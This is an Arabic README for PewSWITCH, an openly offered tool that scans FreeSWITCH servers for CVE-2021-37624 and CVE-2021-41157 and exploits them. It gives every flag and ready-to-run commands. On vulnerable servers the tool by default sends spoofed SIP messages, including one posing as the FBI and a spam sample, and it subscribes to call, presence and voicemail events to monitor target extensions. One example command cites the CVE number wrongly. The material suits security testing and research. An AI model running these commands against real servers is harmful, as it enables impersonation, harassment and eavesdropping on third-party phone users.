
مجموعة أدوات مسح واستغلال خاصة بـ FreeSWITCH لـ CVE-2021-37624 و CVE-2021-41157.
أداة مسح واستغلال ثغرات خاصة بـ FreeSWITCH من أجل CVE-2021-37624 و CVE-2021-41157.
المقالة ذات الصلة: https://0xinfection.github.io/posts/analyzing-freeswitch-vulns/
بيان المساعدة الخاص بالأداة كما يلي:
$ ./pewswitch --help
___ . ____ _ __ __
/ _ \___|\ __/ __/| __(_) /_____/ /
/ ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \
/_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v0.1
"where we pew pew pew freeswitch"
Usage of ./pewswitch:
-cve string
Specify a specific CVE to scan. Both vulns are tested by default.
-delay int
Delay in seconds between subsequent requests. (default 0)
-events string
Comma-separated list of events to be subscribed to. All events are monitored by default.
-expires int
Maximum value of the 'Expires' header for SUBSCRIBE requests. (default 60)
-ext-file string
Specify a file containing extensions instead of '-exts'.
-exts string
Comma separated list of extensions to scan.
-msg-file string
Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624).
-out-dir string
Output directory to write the results to. (default "./pewswitch-results/")
-out-format string
Output format type of the results. Can be either 'json' or 'csv'. (default "json")
-threads int
Number of threads to use while scanning. (default 2)
-user-agent string
Custom user-agent string to use. (default "pewswitch/0.1")
بشكل افتراضي، تفحص الأداة كلا الثغرتين. إذا أردت اختبار ثغرة معينة، يمكنك استخدام العَلَم -cve لاختبار ثغرة محددة.
مثال:
./pewswitch -cve 'cve-2021-37624' -exts 1000 freeserver.voip.com
لتحديد الامتدادات، يمكنك اختيار إحدى الطريقتين:
تحديد قائمة مفصولة بفواصل من الامتدادات عبر الوسيط -exts.
مثال:
./pewswitch -exts 1000,1001 freeserver.voip.com freeserver1.voip.com:5060
سيجعل هذا الأداة تختبر مجموعات الأزواج لكل امتداد مع كل مضيف. وبالتالي فإن الأهداف النهائية التي سيتم اختبارها في الأمر أعلاه هي: [email protected]، [email protected]، [email protected]:5060 و [email protected]:5060.
تحديد ملف يحتوي على الامتدادات. لاحظ أنه عند استخدام ملف، يجب تحديد كل من المستخدم والمضيف. هذا مفيد بشكل خاص عندما تحتاج إلى اختبار امتدادات معينة على خوادم معينة. مثال على مثل هذا الملف (مثل extensions-sample.txt) قد يبدو كالتالي:
[email protected]
[email protected]:5060
[email protected]:5660
...
مثال:
./pewswitch -ext-file extensions-sample.txt
لاحظ أنه إذا لم يتم تحديد أي منفذ مع المضيف، فسيتم استخدام المنفذ 5060 افتراضيًا كمنفذ وجهة.
يمكن للأداة الإخراج بتنسيقين مختلفين، وهما JSON و CSV. تنسيق الإخراج الافتراضي هو JSON. يمكن تغيير تنسيق الإخراج باستخدام المفتاح -out-format.
مثال:
./pewswitch -exts 1000 -out-format csv freeserver.voip.com
يمكنك العثور على نماذج من التقارير بتنسيق json وكذلك csv في الدليل ./pewswitch-results/.
يمكن تغيير دليل الإخراج الوجهة باستخدام الوسيط -out-dir. بشكل افتراضي، دليل الإخراج هو ./pewswitch-results/ الذي يتم إنشاؤه في دليل العمل الحالي أثناء تشغيل الأداة.
مثال:
./pewswitch -ext-file extensions-sample.txt -out-dir /tmp
توجد بعض الإعدادات الإضافية الخاصة بالحزم في الأداة تسمح بتخصيص الطلبات أثناء التحقق من الثغرات أو استغلالها.
إذا تم العثور على خادم ضعيف لـ CVE-2021-37624، بشكل افتراضي يتم إرسال رسالة نموذجية باسم FBI ورقم 022-324-3000 إلى الامتداد الهدف. محتوى الرسالة يبدو كالتالي: FBI here. Open your door!
يمكن تغيير هذا السلوك باستخدام الوسيط -msg-file. يقبل هذا الوسيط ملف CSV يحتوي على اسم المرسل ورقم الهاتف وأخيرًا محتوى الرسالة المراد إرسالها. مثال على مثل هذا الملف هو messages-sample.csv.
sender_name,sender_phone,message
FBI,022-324-3000,FBI here. Open your door!
0xInfection,000-000-0000,Hi. Just confirming the vulnerability.
SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF!
مثال:
./pewswitch -cve 'cve-2021-27624' -msg-file messages-sample.csv -exts 1000 freeserver.voip.com
بشكل افتراضي، ترسل الأداة طلبات SUBSCRIBE مع رأس Expires مضبوط على 60 ثانية. ولفترة زمنية مماثلة ستستمر الأداة في الاستماع لرسائل NOTIFY من الخادم. يمكن تغيير القيمة باستخدام العَلَم -expires.
مثال:
./pewswitch -expires 600 -ext-file extensions-sample.txt
تراقب الأداة أيضًا رسائل NOTIFY عن طريق الاشتراك في جميع الأحداث. قائمة بجميع الأحداث فيما يلي:
talkholdconferenceas-feature-eventdialogline-seizecall-infoslainclude-session-descriptionpresencepresence.winfomessage-summaryreferيمكن تغيير هذا السلوك باستخدام العَلَم -events الذي يأخذ قائمة مفصولة بفواصل من الأحداث المراد مراقبتها. مثال:
./pewswitch -cve 'cve-2021-41157' -events message-summary,presence -exts 1000,1002 freeserver.voip.com
يمكنك استخدام الملفات الثنائية الجاهزة من قسم الإصدارات. أو، إذا كنت تفضل تجميع الكود بنفسك، ستحتاج إلى إصدار Go > 1.13. لبناء الأداة، يمكنك تشغيل go build الذي سيعطيك ملفًا ثنائيًا للتشغيل.
الأداة متاحة بموجب رخصة MIT. لا تتردد في فعل ما تشاء بها. :)
حاليًا، PewSWITCH في الإصدار v0.1.
طلبات وميزات جديدة؟ لا تتردد في إنشاء مشكلة أو طلب سحب.
إذا كان لديك شيء للنقاش، يمكنك التواصل معي عبر تويتر/البريد الإلكتروني على صفحتي الشخصية.
أنشئ بـ ♡ بواسطة Pinaki.